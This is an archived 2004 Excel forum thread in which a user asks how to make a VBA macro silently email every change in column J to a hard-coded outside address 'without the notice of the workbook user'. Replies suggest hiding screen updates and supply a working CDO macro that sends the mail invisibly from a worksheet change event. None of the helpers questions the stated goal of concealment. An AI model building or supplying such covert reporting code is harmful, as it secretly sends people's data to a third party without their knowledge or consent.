 |
 | Home | Contact Us | FAQ | Search & Site Map | Link to Us |
 | Sign In | Join | Other 45 Sites in Network |
| HomeDiscussionsAccessExcelInfoPathOutlookPowerPointPublisherWordDirectoryUser Groups Related Topics Outlook ExpressInternet ExplorerWindowsMS Server ProductsMore Topics ... |
MS Office Forum / Excel / New Users / October 2004can it be done without notice
Hi, The below code (which was given in this NG + With some minor alterations by me) intends to check if anything is changed on column J then email that changed info to a spesific email address without the notice of the workbook user... But it has two problems: 1. If Outlook Express is not opened beforehand, starting of OE is visible and the user recognizes that something without his/her control is going on. 2. If Outlook Express is active before the execution of the macro, yet again a small instance of mail being produced is visible on the screen. Can anyone suggest solutions for the 2 problems? Thanks '------------------------------------ Dim oldvalue As Variant Private Sub Worksheet_Change(ByVal Target As Range) Application.DisplayAlerts=False If Target.Column = 10 Then Recipient = "yula@hotpop.com" Subj = Target(1, -6) & " -- written " & oldvalue & " -- " & Target.Value & "" msg = "Hey... workbook's been changed" HLink = "mailto:" & Recipient & "?" HLink = HLink & "subject=" & Subj & "&" HLink = HLink & "body=" & msg ActiveWorkbook.FollowHyperlink (HLink) Application.Wait (Now + TimeValue("0:00:01")) SendKeys "%s", True End If Application.DisplayAlerts=True End Sub Private Sub worksheet_SelectionChange(ByVal Target As Range) oldvalue = Target.Value End Sub Hi see your other post  SignatureRegards Frank Kabel Frankfurt, Germany > Hi, > The below code (which was given in this NG + With some minor [quoted text clipped - 35 lines] > oldvalue = Target.Value > End Sub Hi, Which post Frank? > Hi > see your other post [quoted text clipped - 43 lines] > > oldvalue = Target.Value > > End Sub Hi you posted the same question in this group some hours ago and already received aqnswers from Rob and Don :-) ----------------------------- Try adding application.screenupdating=false code reset to =true --------------------------------- Hi Cheker You will always see it Maybe you can use CDO See the link on my SendMail page http://www.rondebruin.nl/sendmail.htm You send me a private mail about CC and BCC For OE see this page http://www.rondebruin.nl/mail/oebody.htm But it is not possible in OE to send text in the body and a files Signature-- Regards Frank Kabel Frankfurt, Germany > Hi, > Which post Frank? [quoted text clipped - 46 lines] >>> oldvalue = Target.Value >>> End Sub Unfortunately the OE window is visible in front of Excel for a "very short" period and the email writing process is "noticed". Maybe the Wait command used in the macro can be eliminated to prevent that. I'll be much obliged if Rob or Don can comment. Sincerely > Hi > you posted the same question in this group some hours ago and already [quoted text clipped - 76 lines] > >>> oldvalue = Target.Value > >>> End Sub > Maybe the Wait command > used in the macro can be eliminated to prevent that No Use CDO is the only way Cheker http://www.rondebruin.nl/cdo.htm I will make a example this evening and upload it to my website. SignatureRegards Ron de Bruin http://www.rondebruin.nl > Unfortunately the OE window is visible in front of Excel for a "very short" > period and the email writing process is "noticed". Maybe the Wait command [quoted text clipped - 82 lines] >> >>> oldvalue = Target.Value >> >>> End Sub Thanks Ron, I'll be waiting for your example. Hope you can let us know the d/l URL too... Regards > > Maybe the Wait command > > used in the macro can be eliminated to prevent that [quoted text clipped - 95 lines] > >> >>> oldvalue = Target.Value > >> >>> End Sub Hi Not a webpage (I think it is ready tomorrow) Have you read the CDO page ? Can you use it? Try this Private Sub Worksheet_Change(ByVal Target As Range) If Target.Column = 10 Then Mail_CDO End Sub And In a normal module Sub Mail_CDO() ' This example use late binding, you don't have to set a reference ' You must be online when you run the sub Dim iMsg As Object Dim iConf As Object ' Dim Flds As Variant Set iMsg = CreateObject("CDO.Message") Set iConf = CreateObject("CDO.Configuration") ' iConf.Load -1 ' CDO Source Defaults ' Set Flds = iConf.Fields ' With Flds ' .Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2 ' .Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "Fill in your SMTP server here" ' .Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25 ' .Update ' End With With iMsg Set .Configuration = iConf .To = "ron@debruin.nl" .CC = "" .BCC = "" .From = """Ron"" <ron@something.nl>" .Subject = "Important message" .TextBody = "Hi there" & vbNewLine & vbNewLine & _ "Column 10 is changed" .Send End With Set iMsg = Nothing Set iConf = Nothing End Sub SignatureRegards Ron de Bruin http://www.rondebruin.nl > Thanks Ron, > I'll be waiting for your example. Hope you can let us know the d/l URL [quoted text clipped - 105 lines] >> >> >>> oldvalue = Target.Value >> >> >>> End Sub Hi Cheker I upload a page to my site a few minutes ago. http://www.rondebruin.nl/mail/change.htm SignatureRegards Ron de Bruin http://www.rondebruin.nl > Thanks Ron, > I'll be waiting for your example. Hope you can let us know the d/l URL [quoted text clipped - 105 lines] >> >> >>> oldvalue = Target.Value >> >> >>> End Sub Hi Ron, Thank you. I'll read your page and try to adopt your suggestions for my conditions... Sincerely > Hi Cheker > [quoted text clipped - 110 lines] > >> >> >>> oldvalue = Target.Value > >> >> >>> End Sub Hi Sorry about that but somehow I was not able to see the reply. Now that you have repeted the key words I'll give it a try. Thanks a lot Frank. Also thanks to Rob and Don > Hi > you posted the same question in this group some hours ago and already [quoted text clipped - 76 lines] > >>> oldvalue = Target.Value > >>> End Sub |
Reply to this Message |
 Sign In
 Join
 My Latest Posts My Monitored Threads My Blog My Photo Gallery My Profile My Homepage Start New Thread Enable EMail Alerts Rate this Thread
|
©2008 Advenet LLC Privacy Policy - Terms of Use
This website includes both content owned or controlled by Advenet as well as content owned or controlled by third parties.